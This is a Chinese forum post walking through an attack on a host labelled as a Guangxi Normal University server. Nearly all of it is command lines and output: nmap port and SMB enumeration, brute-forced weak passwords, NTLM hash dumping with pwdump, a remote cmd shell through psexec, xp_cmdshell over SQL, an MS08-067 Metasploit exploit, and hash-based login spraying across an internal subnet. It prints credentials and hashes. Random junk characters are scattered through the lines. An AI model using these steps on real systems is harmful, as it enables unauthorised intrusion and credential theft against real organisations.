广西师范网站http://202.103.242.241/
) P9 E0 X" `' q$ D6 W" b# f5 j& M8 J. u( c2 x
root@bt:~# nmap -sS -sV 202.103.242.2416 F+ Y, E' f* p @
- d$ c% m m2 z. A( ^' y
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST8 r) r1 e: Z' p* q9 y
0 @0 O; x J% R2 W6 ]( aNmap scan report for bogon (202.103.242.241)7 M+ v# D; U+ B: u+ ?
" }, k" d1 m0 e% {5 G. ^Host is up (0.00048s latency).
, _8 B8 O5 T5 F. I. O+ W8 n$ {2 b
: K: X! ^) p. {5 \/ i; J( CNot shown: 993 closed ports, Z' e( j& v, z3 X) F3 g
) ^- K: d; l+ _/ L8 _$ \" yPORT STATE SERVICE VERSION
* X" l: q* r* l C7 I: I* R, A& d+ l) L/ `
135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
- b8 W- ^/ W" m- E8 i, H. R7 |( f! N
139/tcp open netbios-ssn
/ Q! E5 W6 w- N g* N, F' J& v3 V/ c0 Q
445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
4 A1 i `3 F9 t% E1 n2 q
3 W8 i$ p+ U1 y1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
6 N) p# ^0 `9 D5 ]: a( R* ]
. @3 s* L p- Z! R; j1026/tcp open msrpc Microsoft Windows RPC) Z7 }# s8 O/ r. p/ H
+ g, h) c6 j- b4 ?" |% k
3372/tcp open msdtc?
, M/ y3 {( {/ B9 U2 Q& s8 g0 C: ? a# p
3389/tcp open ms-term-serv?3 B% G% X7 Q7 y1 s- d/ @# n
! X C% b, ?# x$ P( ~ v
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
9 {% \' H9 J1 l* B; KSF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r8 t! X0 q6 a# `# N; l/ z4 O! C( W# O
! h) p! f# u: Q2 W2 H) Y6 X" F: SSF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions7 L( a0 }2 I0 ] e
5 J/ H" L Z2 L% r8 A' p
SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
) a, S' S z" @) O, T* F% D8 w. D5 ]6 u* E3 Z) t3 s0 Q
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO
" ]! k( v" F. r, Y U
+ y* ]5 }9 y. l& j( _SF:ptions,6,”hO\n\x000Z”);$ f& x& i. W! f
8 C: |8 z5 J8 X; t$ P8 V- H/ \( K
MAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)
2 e9 D& V0 P+ V" ^6 B, L# Q5 I, j8 d0 [% p: g# I* {
Service Info: OS: Windows
3 a7 M* q ~+ [2 e: \) _) M+ j! R1 `8 \* c8 Z1 C3 K
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .6 Z0 M. ]4 d5 X$ o( n7 C, p8 x
; t2 m! g) q4 q; p E/ l$ |Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds: t h: b; ? u
1 \ `) l9 K0 Droot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本2 }0 W, `4 j) N& V
% U: l8 Z5 ?* C( Q
-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse! | O" G+ D* Z. t, K9 k
% T) c @" J0 v-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
6 ]7 ?5 ]- [8 W! z. g% C( }3 J- n: F' a" p
-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse$ a# |. V3 T Y5 J: J
' a- Y- v: Z! O q-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse
3 h+ i2 \- H' T9 u
+ [) O0 I+ G0 @-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse4 C- i# w* a3 V; f: ]) A4 v/ I
9 d1 n" K( `5 z7 o-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse# Y, `4 E( d- a* a9 [6 n
* A* m2 L: ~0 \% r* X$ Z6 h6 ?, B-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse
% \) O2 c. k, M5 c% w- Q# @9 p- |" \& D. s% \2 k, R6 A
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse$ M" F0 Z0 P5 Q! w* ~: |
' w" Z; w) Z* ~( {, F2 ^, z8 ?$ |
-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse
7 x3 o8 b# A- |( r/ X( C/ o7 ^
& {: Z' @& X$ n& O+ Q4 }; z-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse
, ]; A7 I* S" l( {7 z1 r2 ^& S! [( l: A4 C
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
Y9 q! {8 G$ h- a7 ?
" D3 F8 ], c% \-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse; P( t% F2 f, Z, r# n( s
0 J9 A( Y/ G" C1 X; g9 ?-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse1 z3 p+ v; _, c. ^. K
6 y5 m$ [4 Q2 G! E* R* g-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse- W# P1 R7 k. \$ g
" G; @+ O9 u& G3 @6 l-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse
% f' `7 b; O& p. F0 [& [
1 q& `* W7 W, x: V2 V+ E* M: `root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241 , C: T4 k `& R* D
; y9 x1 P) q. o
//此乃使用脚本扫描远程机器所存在的账户名. g$ v" ~' h' q3 X8 L5 I4 n% Y
! m) G1 @( R, R) W8 b! q
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
0 e: F6 E/ H+ ^
& I- p: L) Q2 j. l- pNmap scan report for bogon (202.103.242.241). i, d' X+ X! l% l
; t& }, }. B x2 g4 N5 p
Host is up (0.00038s latency).4 J' Y* Y$ l3 k+ z; S; ^3 B
. o$ B8 u* x6 r. B( pNot shown: 993 closed ports$ ~1 @) W. W) ^$ G: x
+ d9 m. W6 ^7 J, G) ?PORT STATE SERVICE
* q9 M- P+ _3 g1 ~4 \; O, W8 ?) S0 w4 S. P5 F& a
135/tcp open msrpc
S. M) q+ `# K0 \( t3 m- W& W' z+ {; z+ {; S, y
139/tcp open netbios-ssn
# N6 [6 N7 s' _5 u+ [9 w6 L- u* x" f2 \/ d5 ^
445/tcp open microsoft-ds
: X) j" g3 b* w# [
4 D6 {1 e( p c1025/tcp open NFS-or-IIS0 D w+ O4 X" |5 y0 K8 ?
# V" @' O$ K! A4 g4 e# h
1026/tcp open LSA-or-nterm
. L) {- o P t
# I! f# e5 |! n, P: n- w( g- S3372/tcp open msdtc% Z" K6 M" e w" m/ Z& ~1 y
4 s* c/ z3 J3 f. _% d
3389/tcp open ms-term-serv
( |9 k. \' C5 E( M5 F2 o" Y! U& S5 ]& N; d$ _% y
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
9 H7 ^: M% q$ _* p- J$ Z% g& f6 T; u3 d q" K% {
Host script results:, E& H% m5 `1 z/ t0 p
" \6 `# L, e, ^$ c8 C1 U0 Z% b
| smb-enum-users:! m% w4 ]) K5 o5 L5 G l' J
. x+ d! p5 v5 } ] v
|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
( D* W$ e. n2 w3 J; ]; ~- A
2 I" o% q: R* H9 m8 ^% ZNmap done: 1 IP address (1 host up) scanned in 1.09 seconds
; H$ F0 m5 R& Z' q% S. | K/ x1 V! \
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
+ O/ N7 n! W7 h/ U' l- P
x) T4 v* _! L//查看共享 V* y7 N; ~/ H( M& b
4 V6 n1 r4 a) N: H6 H k! GStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
+ Y/ A* q; E* }4 Q t& {
3 Q* Q5 p6 J& t3 N; x4 hNmap scan report for bogon (202.103.242.241)* {- M2 N/ j& y/ L
' A8 G. W% W# n9 N8 SHost is up (0.00035s latency).
2 {0 A# A0 p0 w
; b1 s6 G( O$ x2 c" `+ e zNot shown: 993 closed ports. ~, u, a; u' b
7 W8 ^9 }. a; x9 D( `9 \) }PORT STATE SERVICE; Z# f( g6 N- U% T' `: D# I3 k" f! ]
) f2 |( ?# r! K/ p( n135/tcp open msrpc
7 W% l6 ]! Z, l4 }* P
1 Y" Q9 n) U `139/tcp open netbios-ssn
$ p9 {" Z4 t$ z. ^$ B4 w
$ n: }9 K8 u) m, O% }/ B2 `445/tcp open microsoft-ds, L' u" k! \4 S/ E n: k
3 i @( [0 [' Z9 e1025/tcp open NFS-or-IIS F: W+ P, a9 r5 I5 j q( e# V: d
( X* w' y: v/ e4 W3 O1 F5 ?" M1026/tcp open LSA-or-nterm
4 R# _! v' S; m) s, \2 t" ]! R" O( o9 l- ?9 z
3372/tcp open msdtc5 W- H5 E2 m0 v1 N" u O
- v2 u' f7 w7 y) B [3389/tcp open ms-term-serv9 }7 i; |3 }. j
- u/ M7 P% H7 J M4 A$ t" KMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)% l0 }# l- _/ g+ {8 }8 r
/ f; y; O% H9 s( [+ @$ M
Host script results:
; h2 v' @4 Z/ k" f X& }6 y5 A
9 b0 g& x7 m8 A; J6 ?' k% ]| smb-enum-shares:, r+ o' W$ X* j$ p4 M( V
: q/ A. p) H I$ X| ADMIN$ Y) l( a/ V2 l+ h
6 u" `4 g/ M7 x| Anonymous access: <none>& U* a+ ]9 I6 M) i
' D' c, p2 Y; l1 o6 _: N| C$
& }# ^& p0 h. w" S. I! u4 v L2 @8 S' l& A
| Anonymous access: <none>
" C7 Z y. g: {$ o) v- P; q5 ^4 E
! q x1 v5 ^! a' `: v4 @& A k| IPC$* Y3 Q" B8 Y: S3 D
) z6 a& I2 ?% ~. F% l
|_ Anonymous access: READ
. e) [% Q& N5 Q5 A8 y5 s5 U& t" I9 s& E3 L
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds- ?' a3 t. E& j# I- t5 u* `7 f
! Y m/ |6 T* ]2 I9 ]
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241
+ I- p" u; _+ [1 q# `- D0 h( ?* P4 M' ?5 r. S. _
//获取用户密码# l) {7 ^5 k5 w# u
o& p+ p; [4 f" J4 l) _
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST
4 ]8 `7 @' l% {6 k+ [5 p# G1 e) i# m: Y9 X% X! |0 x1 t
Nmap scan report for bogon (202.103.242.2418)
* j; E0 L( z+ {; Q* K2 q; J8 q: [9 z b4 a4 T, t. X
Host is up (0.00041s latency).+ E3 M6 ?+ ^! F! A5 T7 L$ R8 J
) w0 g+ M b. y. iNot shown: 993 closed ports
4 N* f: M% O4 h$ y1 ]* j
9 r, Y6 w6 L3 p" S7 zPORT STATE SERVICE* z P0 y7 e- V( G7 d+ O w
: y* n* G# ]' P" v' h- Z
135/tcp open msrpc' ~) U: O7 ?, u8 F& e6 X9 n
2 \, m9 F e" e, U* ?5 n: ^
139/tcp open netbios-ssn
' S' [5 S$ ^, r2 N4 g4 L# Y5 T! ?3 a
445/tcp open microsoft-ds Y( Q1 u; F: D! \" E. i6 N
* K$ d k$ {; W+ P
1025/tcp open NFS-or-IIS0 Q' {0 `' Z0 M( Q8 s3 e3 ]3 v
: `6 W$ }( ]) W" Y/ G7 c/ A
1026/tcp open LSA-or-nterm. e2 H2 ], l4 n: W! f0 U
6 I, K3 u: X' w& W0 a: ^
3372/tcp open msdtc
2 n$ A) K2 |- a7 K* S( k* L/ q5 k: ^5 Y& Z1 u
3389/tcp open ms-term-serv8 `# Z1 _( X0 b) T$ N% b
) t; }% J' j- _' ~# T6 Y" \# t
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
\% @' I+ ]! _+ a4 @$ ?9 a9 Q/ q* \
Host script results:1 i3 b. f. Y' v; h) ^) R5 U6 M
8 r D3 A' A" t J0 n
| smb-brute:) X! |1 T, Z6 B6 y5 n
. A- `' B( k4 ^ R: H0 x I# xadministrator:<blank> => Login was successful
4 Z4 W {( q/ \* C. @4 v' j, u
& ]1 u J2 f/ H' g* e|_ test:123456 => Login was successful
$ t) I: ~! o6 G! `" I% V5 b: J+ k9 m
. `5 I* s: \' {2 JNmap done: 1 IP address (1 host up) scanned in 28.22 seconds% U) S/ _! t, r2 D3 V
) G, N9 F) p) [root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash; J# O3 w, {- k9 t9 z* c
- W2 J0 ]$ A/ P( }+ P
root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
- J+ _" F, n1 l) J: ^5 o4 P7 `
+ ]' E& E% I( m! B1 Y$ R9 l& troot@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
0 U. h$ _- X! ~ ^+ y
4 ?/ Q; m) s* A! v; proot@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
3 E7 D. J" O. J9 r3 F ?
2 Y0 w2 d- d) k; RStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST o# s0 A w$ Y" `6 U2 }5 c
8 Q0 o2 L8 r2 w3 R& l! @( a. ?/ ]Nmap scan report for bogon (202.103.242.241): z& D" W7 K6 `% f
! W2 G! F3 @+ c4 L, W, cHost is up (0.0012s latency).
) p9 t, z$ t1 h L* F
* J& K2 Q% Q2 W& }PORT STATE SERVICE
/ t$ \( V/ Q. k. p; n
+ s4 a0 I& u) M9 G- i135/tcp open msrpc3 I h" k6 |) m
' ~2 j7 R9 x) H* b9 t
139/tcp open netbios-ssn5 v* T9 V& e6 b$ Y o
1 N& ~; B5 Y; Q) d @ G4 W445/tcp open microsoft-ds: j1 S( ^9 E# f* |
. a2 k; M' s2 a" Z$ A( ?
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
) S" L/ x# ?) D* L' B& M3 U% [8 ]8 f! V3 A4 c( z# C
Host script results:7 \2 c) d; C7 G. K
& n) {7 u' A/ k7 P" n1 D$ B| smb-pwdump:
& U7 e1 l2 K% b3 e
) H1 L0 j- Q- q* L| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************0 c" x, q0 ?1 c: x5 ~1 \2 n6 N, V
" Z) H. J0 Z; u3 u& \
| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
- P0 p, w/ o4 U% l, ^" y( D3 \2 W2 k# v; w: c9 ^: k
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
5 D- @ d; |3 n3 |( Z* v6 A$ s3 q' ] i% _8 @: L/ E, _
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
2 E8 d5 h% V( T& z! a+ W* R b1 D: L, p! `7 i3 ?2 ~
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
: q: ]2 P7 { |( U. E" \! q6 j
4 \& C$ |1 M5 D6 t0 zC:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell* h" g+ @! \8 S( l$ V2 B" E' t8 e
" J; G7 a9 J: E# i
-p 123456 -e cmd.exe7 U* c$ s; x2 c, G `( V" Y0 t
U6 l9 w% S! }- N1 U9 o. f! {
PsExec v1.55 – Execute processes remotely6 B& I& J4 @0 V5 s& G2 B+ b3 l+ I9 S8 y
$ K, }0 t+ v: ] ?1 L. L# B* KCopyright (C) 2001-2004 Mark Russinovich$ A; _+ b {2 s' z2 h
6 z+ a9 A3 P2 `2 l {+ F4 FSysinternals – www.sysinternals.com" D7 I! b+ d0 H2 q3 l6 P6 s2 f
) q: C# z& j7 C6 u( i; X; e9 L
Microsoft Windows 2000 [Version 5.00.2195]6 |* R+ t! c0 X$ w2 Z) y# } P
0 S5 t# j# S Y& E(C) 版权所有 1985-2000 Microsoft Corp.# x$ y( B& A" T
/ P' g# r* s' ^
C:\WINNT\system32>ipconfig
5 }1 ?% ^( k: _& k6 u/ K7 D( Y6 O
9 Y& p8 o2 S' ]; z) ~Windows 2000 IP Configuration
: _9 Z+ ]. |* L- a1 _& L' O; q7 g' Y# |& R4 | D6 u
Ethernet adapter 本地连接:
1 ^7 Y" Y; H" U5 w' d( I7 k6 a5 m6 M' A* ^6 }
Connection-specific DNS Suffix . :
8 Z M$ X% V. Z! M
9 {5 A+ U1 p6 \% eIP Address. . . . . . . . . . . . : 202.103.242.241- M- p k* A# q0 h9 t$ P2 P: _' y
) s+ S" h% O# v. D5 f! {
Subnet Mask . . . . . . . . . . . : 255.255.255.0
9 ^5 i! e, {+ W4 k' C$ t* n2 u: p
1 H' M: `6 U Z4 B- `$ ^7 a, qDefault Gateway . . . . . . . . . : 202.103.1.1
0 o# N9 c! A" m* t0 _
9 X( x( J! I s$ @) h+ V9 HC:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令8 ?6 |7 Q0 g4 Q& I0 n
, g( q& J7 X4 Y0 }2 ?, K
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞
/ o/ ^3 L' \( ]7 S3 ^- x( C9 j R- M' U5 I8 n* N) Q
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
9 t3 s# G( M! D$ ~, v$ L, i8 D- r, u8 n* n& l1 D
Nmap scan report for bogon (202.103.242.241)) D. f. Q; h; f' m3 X
! r! d# _2 ]! c3 c( `* ]Host is up (0.00046s latency).
' S. S* v7 u3 Y4 v* ~1 W9 N
: i5 p- x& u3 w( d5 | ?$ DNot shown: 993 closed ports+ {9 X# d7 _" i8 N
( v$ T N8 |' G8 ?' |
PORT STATE SERVICE
( M9 U7 x3 _. R1 S7 o7 U/ j
0 b1 _1 Q7 x b, O135/tcp open msrpc
5 {4 Y0 d% a" D
+ |* [7 A! d$ X' z139/tcp open netbios-ssn+ y& A8 U7 V: l2 f0 O0 |2 i
, k; y' [! O J445/tcp open microsoft-ds
, a# h+ w$ ~$ g, V. s
0 a3 S1 V# d* o* U+ a/ c8 a: ^1025/tcp open NFS-or-IIS( x J: y- ` w1 V8 {* S1 U! r
+ i# [1 }4 K8 u* O! G. {; k
1026/tcp open LSA-or-nterm
& S. K1 D( T6 S1 b0 [
o ]" x/ G/ j! P* g i3372/tcp open msdtc$ M) G* }1 [* ]( o/ L8 A
7 Q. F% X& {6 w, m! G3389/tcp open ms-term-serv' }* `3 F3 C- k l7 }4 ]
: j* B* U4 \! o$ G# zMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
7 d; i" `5 J; V- M2 T9 H" x& c
5 C/ ~: y2 ^: e$ }Host script results:7 g1 \( d9 d, u2 V$ a2 s
5 Q5 i: {* h5 T. @( T0 }: \+ w| smb-check-vulns:
0 k7 {$ U0 L7 b& Q8 W9 ]) y, T# E
( j0 o7 o8 z ?+ Q- @8 S5 c7 ]|_ MS08-067: VULNERABLE
$ ~6 N7 e/ d7 ~! [- y1 ~# C; K# {: E$ l6 _% v/ e4 W! X
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds9 Y% L0 q X# n8 N/ X6 B( {. E
4 A+ S T+ |. i- |0 ~
root@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出% ^. [8 O* v1 ~
9 g6 `2 y+ V m& V. amsf > search ms08
- V8 L' w5 j& A7 E( v' \0 k' C0 x
, ^, C+ g0 o- \- Pmsf > use exploit/windows/smb/ms08_067_netapi
! V, E8 t; P: ^+ e1 z. J6 V! J
4 f- _% v4 Z+ V3 fmsf exploit(ms08_067_netapi) > show options
1 o$ h3 Y7 m+ v# Z
- f) ]! c, A- I7 c6 ~msf exploit(ms08_067_netapi) > set RHOST 202.103.242.241
1 R; f0 z. F4 z% I
( Z: z0 m+ f' R0 E5 o& Kmsf exploit(ms08_067_netapi) > show payloads) z- e4 g/ z' \) F" H# Z1 Z$ a3 }
" [1 L' i/ A1 G- `+ C3 fmsf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp$ c1 z2 r& k2 q# [0 d% D
6 P4 C* j( r) x/ L+ e/ Y! }+ g/ Qmsf exploit(ms08_067_netapi) > exploit
& A/ D% `0 k$ V( e- U
% E0 V: y$ t7 s, h+ B' ~meterpreter >
! D3 Z. K. q* V( j& [" H0 l$ f& U1 C, u3 D1 T
Background session 2? [y/N] (ctrl+z)
0 O0 q" q/ E) d# x- B5 I# X5 K$ T. v; x3 o4 A% U7 _
msf exploit(ms08_067_netapi) > sessions -l) n% O5 P" ?! O# D% l( ?
( [/ D; l3 y$ g8 g
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt8 W6 ~0 J ?4 W- ]2 U, C3 s* O
8 E6 T& x: ]/ g7 J# S0 \test4 | X; i7 ^: G2 R; _: g2 k
+ a' O, }8 \8 K9 }2 ^
administrator0 t- ^9 j* q6 I' L
2 q& G$ B/ K! ~) u3 x7 |$ droot@bt:/usr/local/share/nmap/scripts# vim password.txt" O6 s/ d1 l% z8 P [
% r; c4 I8 x- ^% W ]2 `2 J8 v0 V
44EFCE164AB921CAAAD3B435B51404EE
' q6 j" L. P5 ~( y7 N( \. A! E1 K* N0 U/ p; l
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
; o4 k3 ~# g, H* \5 R/ O0 p; M: r [( d5 }4 i
//利用用户名跟获取的hash尝试对整段内网进行登录# P- o, T# W; J3 I
/ i+ S v" s" @3 nNmap scan report for 192.168.1.105; T& G# B+ c3 I7 N
) v* P# a. |5 X5 PHost is up (0.00088s latency).
/ K+ c, q# ]6 o" Q# m3 H3 ~
% O/ b. v J- q# I9 q+ f% c) aNot shown: 993 closed ports
' o" n4 J# Z* Q9 A/ n" Z, z, C( f. x
* |% j6 T3 r4 T* ?" FPORT STATE SERVICE3 R8 R+ |/ N/ i
6 H8 i1 q! s# L, k' q' d
135/tcp open msrpc) O. j- m. f% i
6 P2 g8 n3 i- `; p: e139/tcp open netbios-ssn$ c7 [8 k! j8 V) E
' H" c& m3 K6 r0 |* ^4 R0 N% G
445/tcp open microsoft-ds+ v" N$ S+ o" u' K8 W8 f' }
9 d3 k, h: L7 f* x7 O: Q
1025/tcp open NFS-or-IIS# d6 x6 s, M1 {" }8 `+ ?6 Z
% G; w; L1 x1 N
1026/tcp open LSA-or-nterm
1 \2 f1 a9 E$ K8 E$ s1 h/ h K3 ^% ?8 ?/ g# P7 G! N4 w
3372/tcp open msdtc
$ m' B% o& y: g+ E1 x/ k' t9 X$ o3 W
3389/tcp open ms-term-serv$ {' U M6 F5 n% T) R4 D+ s
; z, `( H# b; n% l& YMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)$ T7 {3 P0 `4 l! g0 Y! i+ b I7 ]
4 r9 b0 F; f7 j' c
Host script results:
6 v+ ^/ y* T6 N) i8 m \9 i& F2 S& j* d5 m( L0 ~
| smb-brute:* h8 c8 ~- y n
8 d3 Y* z+ f5 @1 E# j$ `6 Y|_ administrator:<blank> => Login was successful: O# s, h/ C6 S( _
0 c2 D% t$ \' L攻击成功，一个简单的msf+nmap攻击~~·. A; o4 |3 c6 V# Z/ ]5 ?6 q+ [
- t8 N% H% Y9 j; \- i |
发表于 2012-12-4 12:46:42
收藏
支持
反对